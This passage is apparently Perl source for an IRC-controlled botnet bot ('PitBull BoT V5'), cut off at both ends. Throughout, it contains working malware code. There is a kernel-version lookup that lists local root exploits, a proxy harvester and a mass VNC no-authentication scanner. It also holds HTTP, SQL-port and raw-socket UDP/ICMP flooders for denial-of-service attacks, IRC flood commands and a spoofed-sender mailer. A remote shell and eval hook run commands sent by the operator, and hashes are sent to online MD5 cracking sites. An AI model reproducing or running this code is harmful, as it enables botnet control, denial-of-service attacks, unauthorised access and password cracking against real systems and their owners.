vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']<br /> };<br /> <br /> $h{'kdump'} = {<br /> vuln=>['2.6.13']<br /> };<br /> <br /> $h{'km2'} = {<br /> vuln=>['2.4.18','2.4.22']<br /> };<br /> <br /> $h{'krad'} = {<br /> vuln=>['2.6.11']<br /> };<br /> <br /> $h{'krad3'} = {<br /> vuln=>['2.6.11','2.6.9']<br /> };<br /> <br /> $h{'local26'} = {<br /> vuln=>['2.6.13']<br /> };<br /> <br /> $h{'loko'} = {<br /> vuln=>['2.4.22','2.4.23','2.4.24']<br /> };<br /> <br /> $h{'mremap_pte'} = {<br /> vuln=>['2.4.20','2.2.25','2.4.24']<br /> };<br /> <br /> $h{'newlocal'} = {<br /> vuln=>['2.4.17','2.4.19','2.4.18']<br /> };<br /> <br /> $h{'ong_bak'} = {<br /> vuln=>['2.4.','2.6.']<br /> };<br /> <br /> $h{'ptrace'} = {<br /> vuln=>['2.2.','2.4.22']<br /> };<br /> <br /> $h{'ptrace_kmod'} = {<br /> vuln=>['2.4.2']<br /> };<br /> <br /> $h{'ptrace24'} = {<br /> vuln=>['2.4.9']<br /> };<br /> <br /> $h{'pwned'} = {<br /> vuln=>['2.4.','2.6.']<br /> };<br /> <br /> $h{'py2'} = {<br /> vuln=>['2.6.9','2.6.17','2.6.15','2.6.13']<br /> };<br /> <br /> $h{'raptor_prctl'} = {<br /> vuln=>['2.6.13','2.6.17','2.6.16','2.6.13']<br /> };<br /> <br /> $h{'prctl3'} = {<br /> vuln=>['2.6.13','2.6.17','2.6.9']<br /> };<br /> <br /> $h{'remap'} = {<br /> vuln=>['2.4.']<br /> };<br /> <br /> $h{'rip'} = {<br /> vuln=>['2.2.']<br /> };<br /> <br /> $h{'stackgrow2'} = {<br /> vuln=>['2.4.29','2.6.10']<br /> };<br /> <br /> $h{'uselib24'} = {<br /> vuln=>['2.4.29','2.6.10','2.4.22','2.4.25']<br /> };<br /> <br /> $h{'newsmp'} = {<br /> vuln=>['2.6.']<br /> };<br /> <br /> $h{'smpracer'} = {<br /> vuln=>['2.4.29']<br /> };<br /> <br /> $h{'loginx'} = {<br /> vuln=>['2.4.22']<br /> };<br /> <br /> $h{'exp.sh'} = {<br /> vuln=>['2.6.9','2.6.10','2.6.16','2.6.13']<br /> };<br /> <br /> $h{'prctl'} = {<br /> vuln=>['2.6.']<br /> };<br /> <br /> $h{'kmdx'} = {<br /> vuln=>['2.6.','2.4.']<br /> };<br /> <br /> $h{'raptor'} = {<br /> vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']<br /> };<br /> <br /> $h{'raptor2'} = {<br /> vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']<br /> };<br /> <br /> <br /> foreach my $key(keys %h){<br /> foreach my $kernel ( @{ $h{$key}{'vuln'} } ){<br /> if($khost=~/^$kernel/){<br /> chop($kernel) if ($kernel=~/.$/);<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Rootable 12] Possible Local Root Exploits: ". $key ." ");<br /> }<br /> }<br /> }<br /> <br /> }<br /> <br /> #Pr0xy Scan<br /> if ($funcarg =~ /^proxy\s+(.*)/) {<br /> my @User_Agent = &Agent();<br /> my $str = $1;<br /> if ($str =~ m/^(a|anon|anonymous)$/i) { $str = "anonymous";}<br /> elsif ($str =~ m/^(transparent|tp|t)$/i) { $str = "transparent";}<br /> elsif ($str =~ m/^(h|high|e|elite)$/i) { $str = "high anonymity";}<br /> my @type = "$str";<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ProxySearcher 12] Search Type: $str");<br /> my @ttt=();<br /> my @ttt1=();<br /> my @ttt2=();<br /> my @ttt3=();<br /> my $sockt = IO::Socket::INET->new(PeerAddr=>"publicproxyservers.com",PeerPort=>"80",Proto=>"tcp") or return;<br /> print $sockt "GET http://www.publicproxyservers.com/page1.html HTTP/1.0\r\nHost: publicproxyservers.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";<br /> my @rara = <$sockt>;<br /> $page="@rara";<br /> close($sockt);<br /> while ($page =~ m/<td align=\"left\" height=17(.*)<\/td>/g)<br /> {<br /> push(@ttt,$1);<br /> }<br /> while ($page =~ m/<td>([A-Z].*)<\/td>/g)<br /> {<br /> push(@ttt1,$1);<br /> }<br /> while ($page =~ m/<td height=17>(.*)<\/td>/g)<br /> {<br /> push(@ttt2,$1);<br /> }<br /> while ($page =~ m/<td>(anonymous|transparent|high anonymity)<\/td>/g)<br /> {<br /> push(@ttt3,$1);<br /> }<br /> foreach $proxyyy (0..(@ttt - 1))<br /> {<br /> if ($ttt3[$proxyyy] =~ /@type/)<br /> {<br /> ( my $a, my $ipaddr ) = split( />/, $ttt[$x]);<br /> my $prox="".$ipaddr.":".$ttt2[$proxyyy]."";<br /> my $ua = LWP::UserAgent->new;<br /> $ua->timeout(10);<br /> $ua->env_proxy;<br /> $ua->agent($User_Agent[rand(scalar(@User_Agent))]);<br /> $ua->proxy('http', 'http://'.$prox);<br /> my $response = $ua->get("http://www.google.com/search?q=The_PitBull");<br /> if ($response->is_success)<br /> {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ProxySearcher 12] 4 ".$ipaddr.":".$ttt2[$proxyyy]." 12- 4 $ttt1[$proxyyy] 12- 4 $ttt3[$proxyyy] 12- OK!");<br /> }<br /> }<br /> }<br /> done;<br /> }<br /> <br /> # A simple mailer, @sendmail <subject> <sender> <recipient> <message><br /> if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Mailer 12] Sending Mail to : 2 $3");<br /> $subject = $1;<br /> $sender = $2;<br /> $recipient = $3;<br /> @corpo = $4;<br /> $mailtype = "content-type: text/html";<br /> $sendmail = '/usr/sbin/sendmail';<br /> open (SENDMAIL, "| $sendmail -t");<br /> print SENDMAIL "$mailtype\n";<br /> print SENDMAIL "Subject: $subject\n";<br /> print SENDMAIL "From: $sender\n";<br /> print SENDMAIL "To: $recipient\n\n";<br /> print SENDMAIL "@corpo\n\n";<br /> close (SENDMAIL);<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ Mailer 12] Mail Sended To : 2 $recipient");<br /> }<br /> <br /> #SQL Fl00dEr<br /> if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SQL-DDOS 12] Attacking 4 ".$1." 12 on port 3306 for 4 ".$2." 12 seconds .");<br /> my $itime = time;<br /> my ($cur_time);<br /> $cur_time = time - $itime;<br /> while ($2>$cur_time){<br /> $cur_time = time - $itime;<br /> my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306);<br /> print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";<br /> close($socket);<br /> }<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SQL-DDOS 12] Attacking done 4 ".$1.".");<br /> }<br /> <br /> <br /> #r0xb0t 4.6 VNC ScaNNer by iNs<br /> if ($funcarg =~ /^vnc\s+(.*)/) {<br /> my $MAX_SOCKET_TIME = 2;<br /> my $MAX_CONNECT_TIME = 3;<br /> #&ftpcheckm($printl);<br /> my @hosts;<br /> my $MAX_PROCESSES=100;<br /> my $host=$1;<br /> #my $victim=$host;<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ VNC 12] :::: IP Range: 4 $host* ");<br /> $|=1;<br /> <br /> foreach (0..255) {<br /> my $pre="$host.$_.";<br /> foreach (1..255) {<br /> push(@hosts,$pre.$_);<br /> }<br /> }<br /> <br /> my @pids;<br /> my $npids=0;<br /> <br /> for $victim (@hosts){<br /> my $pid;<br /> $pid=fork();<br /> if($pid>0){<br /> $npids++;<br /> if($npids>=$MAX_PROCESSES){<br /> for(1..($MAX_PROCESSES)){<br /> $wait_ret=wait();<br /> if($wait_ret>0){<br /> $npids--;<br /> }<br /> }<br /> }<br /> next;<br /> } elsif(undef $pid) {<br /> # print "fork error\n" if ($DEBUG);<br /> exit(0);<br /> }else{<br /> my($proto,$port);<br /> $0="";<br /> # kill thread on timeout<br /> local $SIG{'ALRM'} = sub { exit(0); };<br /> alarm $MAX_SOCKET_TIME;<br /> my $port=5900;<br /> print "Connecting to $victim:$port..."; #$| = 1;<br /> ($sock = IO::Socket::INET->new(PeerAddr => $victim,<br /> PeerPort => $port,<br /> Proto => 'tcp',)) ? print "\n"<br /> : die("\n");<br /> <br /> #negotiate protocol<br /> $sock->read($protocol_version,12);<br /> print $sock $protocol_version;<br /> #print "Using protocol $protocol_version";<br /> # get security types that we'll be ignoring<br /> $sock->read($security_types,1);<br /> $sock->read($hahaha,unpack('C',$security_types));<br /> # choose no authentication<br /> print $sock "\x01";<br /> # we should get "0000" back<br /> $sock->read($in,4);<br /> if(unpack('I',$in)) { die("\n") };<br /> # client initialize<br /> print $sock "\x01";<br /> # if the server starts sending data we are in<br /> $sock->read($in,4);<br /> (unpack('I',$in)) ?<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ VNC 12] :::: 4 ".$victim." 12is Vulnerable using protocol 4 ".$protocol_version)<br /> #print("Vulnerable!\n")<br /> : die("\n") ;<br /> <br /> exit;<br /> <br /> }<br /> }<br /> <br /> for(1..$npids){<br /> my $wt=wait();<br /> if($wt==-1){<br /> # print "hey $!\n" if($DEBUG);<br /> redo;<br /> }<br /> }<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ VNC 12] :::: Finished Scan for 4 $host ");<br /> }<br /> <br /> #-#-#-#-#-#-#-#-#<br /> # IRC #<br /> #-#-#-#-#-#-#-#-#<br /> # join a other channel, @join #channel<br /> if ($funcarg =~ /^join (.*)/) {<br /> sendraw($IRC_cur_socket, "JOIN ".$1);<br /> }<br /> # part a other channel, @part #channel<br /> if ($funcarg =~ /^part (.*)/) {<br /> sendraw($IRC_cur_socket, "PART ".$1);<br /> }<br /> # quit irc, @quit <reason><br /> if ($funcarg =~ /^quit (.*)/) {<br /> sendraw($IRC_cur_socket, "QUIT ".$1);<br /> }<br /> # voice, @voice <who><br /> if ($funcarg =~ /^voice (.*)/) {<br /> sendraw($IRC_cur_socket, "MODE $printl +v ".$1);<br /> }<br /> # devoice, @devoice <who><br /> if ($funcarg =~ /^devoice (.*)/) {<br /> sendraw($IRC_cur_socket, "MODE $printl -v ".$1);<br /> }<br /> # halfop, @halfop <who><br /> if ($funcarg =~ /^halfop (.*)/) {<br /> sendraw($IRC_cur_socket, "MODE $printl +h ".$1);<br /> }<br /> # dehalfop, @dehalfop <who><br /> if ($funcarg =~ /^dehalfop (.*)/) {<br /> sendraw($IRC_cur_socket, "MODE $printl -h ".$1);<br /> }<br /> # op, @op <who><br /> if ($funcarg =~ /^op (.*)/) {<br /> sendraw($IRC_cur_socket, "MODE $printl +o ".$1);<br /> }<br /> # deop, @deop <who><br /> if ($funcarg =~ /^deop (.*)/) {<br /> sendraw($IRC_cur_socket, "MODE $printl -o ".$1);<br /> }<br /> # +Q, @owner <who><br /> if ($funcarg =~ /^owner (.*)/) {<br /> sendraw($IRC_cur_socket, "MODE $printl +q ".$1);<br /> }<br /> # -Q, @deowner <who><br /> if ($funcarg =~ /^deowner (.*)/) {<br /> sendraw($IRC_cur_socket, "MODE $printl -q ".$1);<br /> }<br /> <br /> #-#-#-#-#-#-#-#-#<br /> # Flooders IRC #<br /> #-#-#-#-#-#-#-#-#<br /> # msg, @msgflood <who><br /> if ($funcarg =~ /^msgflood (.+?) (.*)/) {<br /> for($i=0; $i<=10; $i+=1){ sendraw($IRC_cur_socket, "PRIVMSG ".$1." ".$2); } sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MSGFlood 12] 14 Excecuted on ".$1." "); } # dccflood, @dccflood <who><br /> if ($funcarg =~ /^dccflood (.*)/) {<br /> for($i=0; $i<=10; $i+=1){ sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n"); } sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ DCCFlood 12] 14 Excecuted on ".$1." "); } # ctcpflood, @ctcpflood <who><br /> if ($funcarg =~ /^ctcpflood (.*)/) {<br /> for($i=0; $i<=10; $i+=1){ sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n"); sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n"); } sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ CTCPFlood 12] 14 Excecuted on ".$1." "); } # noticeflood, @noticeflood <who><br /> if ($funcarg =~ /^noticeflood (.*)/) {<br /> for($i=0; $i<=10; $i+=1){ sendraw($IRC_cur_socket, "NOTICE ".$1." :PitBull BoT V5\n"); } sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ NoticeFlood 12] 14 Excecuted on ".$1." "); } # Channel Flood, @channelflood if ($funcarg =~ /^channelflood/) { for($i=0; $i<=25; $i+=1){ sendraw($IRC_cur_socket, "JOIN #".(int(rand(99999))) ); } sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ ChannelFlood 12] 14 Excecuted "); } # Maxi Flood, @maxiflood if ($funcarg =~ /^maxiflood(.*)/) { for($i=0; $i<=15; $i+=1){ sendraw($IRC_cur_socket, "NOTICE ".$1." :PitBull BoT V5 M4Xi-Fl00d\n"); sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n"); sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n"); sendraw($IRC_cur_socket, "PRIVMSG ".$1." :PitBull BoT V5 M4Xi-Fl00d\n"); } sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ M4Xi-Fl00d 12] 14 Excecuted on ".$1." "); } #-#-#-#-#-#-#-#-# # DDOS # #-#-#-#-#-#-#-#-# #HTTP Flooder if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ HTTP-DDOS 12] Attacking 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds ."); my $itime = time; my ($cur_time); $cur_time = time - $itime; while ($2>$cur_time){<br /> $cur_time = time - $itime;<br /> my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);<br /> print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";<br /> close($socket);<br /> }<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ HTTP-DDOS 12] Attacking done 4 ".$1.".");<br /> }<br /> <br /> <br /> # UDP Flooder<br /> if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ UDP-DDOS 12] Attacking 4 ".$1." 12 with 4 ".$2." 12 Kb Packets for 4 ".$3." 12 seconds. ");<br /> my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");<br /> $dtime = 1 if $dtime == 0;<br /> my %bytes;<br /> $bytes{igmp} = $2 * $pacotes{igmp};<br /> $bytes{icmp} = $2 * $pacotes{icmp};<br /> $bytes{o} = $2 * $pacotes{o};<br /> $bytes{udp} = $2 * $pacotes{udp};<br /> $bytes{tcp} = $2 * $pacotes{tcp};<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ UDP-DDOS 12] 12Results 4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in 4 ".$dtime." 12seconds to 4 ".$1.".");<br /> }<br /> exit;<br /> }<br /> }<br /> <br /> <br /> sub ircase {<br /> my ($kem, $printl, $case) = @_;<br /> if ($case =~ /^join (.*)/) {<br /> j("$1");<br /> }<br /> if ($case =~ /^part (.*)/) {<br /> p("$1");<br /> }<br /> if ($case =~ /^rejoin\s+(.*)/) {<br /> my $chan = $1;<br /> if ($chan =~ /^(\d+) (.*)/) {<br /> for (my $ca = 1; $ca <= $1; $ca++ ) { p("$2"); j("$2"); } } else { p("$chan"); j("$chan"); } } if ($case =~ /^op/) { op("$printl", "$kem") if $case eq "op"; my $oarg = substr($case, 3); op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^deop/) { deop("$printl", "$kem") if $case eq "deop"; my $oarg = substr($case, 5); deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } if ($case =~ /^msg\s+(\S+) (.*)/) { msg("$1", "$2"); } if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { msg("$2", "$3"); } } if ($case =~ /^ctcp\s+(\S+) (.*)/) { ctcp("$1", "$2"); } if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { ctcp("$2", "$3"); } } if ($case =~ /^nick (.*)/) { nick("$1"); } if ($case =~ /^connect\s+(\S+)\s+(\S+)/) { conectar("$2", "$1", 6667); } if ($case =~ /^raw (.*)/) { sendraw("$1"); } if ($case =~ /^eval (.*)/) { eval "$1"; } } sub shell { my $printl=$_[0]; my $comando=$_[1]; if ($comando =~ /cd (.*)/) { chdir("$1") || msg("$printl", "No such file or directory"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @resp=`$comando 2>&1 3>&1`;<br /> my $c=0;<br /> foreach my $linha (@resp) {<br /> $c++;<br /> chop $linha;<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ SH3LL 12] 14 $linha");<br /> if ($c == "$max_lines") {<br /> $c=0;<br /> sleep $sleeping;<br /> }<br /> }<br /> exit;<br /> }<br /> }<br /> }<br /> <br /> <br /> sub Agent(){<br /> my @ret = (<br /> "Microsoft Internet Explorer/4.0b1 (Windows 95)",<br /> "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)",<br /> "Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)",<br /> "Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)",<br /> "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)",<br /> "Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)",<br /> "Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)",<br /> "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",<br /> "Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)",<br /> "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",<br /> "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)",<br /> "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)",<br /> "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)",<br /> "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",<br /> "Mozilla/4.0 (compatible; MSIE 7.0b; Win32)",<br /> "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",<br /> "Microsoft Pocket Internet Explorer/0.6",<br /> "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)",<br /> "MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;",<br /> "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)",<br /> "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)",<br /> "Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)",<br /> "Advanced Browser (http://www.avantbrowser.com)",<br /> "Avant Browser (http://www.avantbrowser.com)",<br /> "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)",<br /> "Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)",<br /> "Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)",<br /> "Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007",<br /> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",<br /> "Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929",<br /> "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0",<br /> "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox",<br /> "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4",<br /> "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5",<br /> "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6",<br /> "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6",<br /> "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",<br /> "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7",<br /> "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",<br /> "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4",<br /> "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5",<br /> "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",<br /> "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1",<br /> "Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1",<br /> "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",<br /> "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1",<br /> "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2",<br /> "Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0",<br /> "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b",<br /> "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0",<br /> "Mozilla/3.0 (OS/2; U)",<br /> "Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)",<br /> "Mozilla/4.61 (Macintosh; I; PPC)",<br /> "Mozilla/4.61 [en] (OS/2; U)",<br /> "Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)",<br /> "Mozilla/4.8 [en] (Windows NT 5.0; U)" );<br /> return(@ret);<br /> }<br /> <br /> sub udpflooder {<br /> my $iaddr = inet_aton($_[0]);<br /> my $msg = 'A' x $_[1];<br /> my $ftime = $_[2];<br /> my $cp = 0;<br /> my (%pacotes);<br /> $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;<br /> socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;<br /> socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;<br /> socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;<br /> socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;<br /> return(undef) if $cp == 4;<br /> my $itime = time;<br /> my ($cur_time);<br /> while ( 1 ) {<br /> for (my $port = 1;<br /> $port <= 65000; $port++) { $cur_time = time - $itime; last if $cur_time >= $ftime;<br /> send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;<br /> send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;<br /> send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;<br /> send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;<br /> for (my $pc = 3;<br /> $pc <= 255;$pc++) { next if $pc == 6; $cur_time = time - $itime; last if $cur_time >= $ftime;<br /> socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;<br /> send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;<br /> }<br /> }<br /> last if $cur_time >= $ftime;<br /> }<br /> return($cur_time, %pacotes);<br /> }<br /> <br /> sub ctcp {<br /> return unless $#_ == 1;<br /> sendraw("PRIVMSG $_[0] :\001$_[1]\001");<br /> }<br /> <br /> sub msg {<br /> return unless $#_ == 1;<br /> sendraw("PRIVMSG $_[0] :$_[1]");<br /> }<br /> <br /> sub notice {<br /> return unless $#_ == 1;<br /> sendraw("NOTICE $_[0] :$_[1]");<br /> }<br /> <br /> sub op {<br /> return unless $#_ == 1;<br /> sendraw("MODE $_[0] +o $_[1]");<br /> }<br /> <br /> sub deop {<br /> return unless $#_ == 1;<br /> sendraw("MODE $_[0] -o $_[1]");<br /> }<br /> <br /> sub j {<br /> &join(@_);<br /> }<br /> <br /> sub join {<br /> return unless $#_ == 0;<br /> sendraw("JOIN $_[0]");<br /> }<br /> sub p { part(@_);<br /> }<br /> <br /> sub part {<br /> sendraw("PART $_[0]");<br /> }<br /> <br /> sub nick {<br /> return unless $#_ == 0;<br /> sendraw("NICK $_[0]");<br /> }<br /> <br /> sub quit {<br /> sendraw("QUIT :$_[0]");<br /> }<br /> <br /> <br /> sub ice(){<br /> my $md5hash = $_[1];<br /> chomp $md5hash;<br /> my $query = "http://ice.breaker.free.fr/md5.php?hash=".$md5hash;<br /> my $checker = query($query);<br /> if ($checker =~ m/<b><br><br> - (.*?)<br><br><br>/g) {<br /> my $cracked="$1";<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-ice.breaker.free.fr 4@ 12 ] 4 ==> ".$cracked."");<br /> } else {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-ice.breaker.free.fr 4@ 12 ] 1 Has not Found.");<br /> }}<br /> <br /> sub gdata(){<br /> my $md5hash = $_[1];<br /> chomp $md5hash;<br /> my $query = "http://www.gdataonline.com/qkhash.php?mode=txt&hash=".$md5hash;<br /> my $checker = query($query);<br /> if ($checker =~ m/<b>(.*?)<\/b><\/td>/g) {<br /> my $cracked="$1";<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-gdataonline.com 4@ 12 ] 4 ==> ".$cracked."");<br /> } else {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-gdataonline.com 4@ 12 ] 1 Has not Found.");<br /> }}<br /> <br /> sub redn(){<br /> my $md5hash = $_[1];<br /> chomp $md5hash;<br /> my $query = "http://md5.rednoize.com/?p&s=md5&q=".$md5hash;<br /> my $checker = query($query);<br /> if ($checker =~ m/<(.*)/g) { my $cracked="$1"; sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-rednoize.com 4@ 12 ] 4 ==> ".$cracked);<br /> } else {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-rednoize.com 4@ 12 ] 1 Has not Found.");<br /> }}<br /> <br /> sub xpz(){<br /> my $md5hash = $_[1];<br /> chomp $md5hash;<br /> my $query = "http://md5.xpzone.de/?string=".$md5hash."&mode=decrypt";<br /> my $checker = query($query);<br /> if ($checker =~ m/<b>(.*)<\/b>/g) {<br /> my $cracked="$1";<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-xpzone.de 4@ 12 ] 4 ==> ".$cracked);<br /> } else {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-xpzone.de 4@ 12 ] 1 Has not Found.");<br /> }}<br /> <br /> sub ben(){<br /> my $md5hash = $_[1];<br /> chomp $md5hash;<br /> my $query = "http://md5.benramsey.com/md5.php?hash=".$md5hash;<br /> my $checker = query($query);<br /> if ($checker =~ m/<string><\!\[CDATA\[(.+?)\]\]><\/string>/g) {<br /> my $cracked="$1";<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-benramsey.com 4@ 12 ] 4 ==> ".$cracked);<br /> } else {<br /> sendraw($IRC_cur_socket, "PRIVMSG $printl : 12[ 4@ MD5-benramsey.com 4@ 12 ] 1 Has not Found.");<br /> }}<br /> <br /> sub alim(){<br /> my $md5hash = $_[1];<br /> chomp $md5hash;<br /> my $query = "http://alimamed.pp.ru/md5/?md5e=&md5d=".$md5hash;<br /> my $checker = query($query);<br /> if ($checker =~ 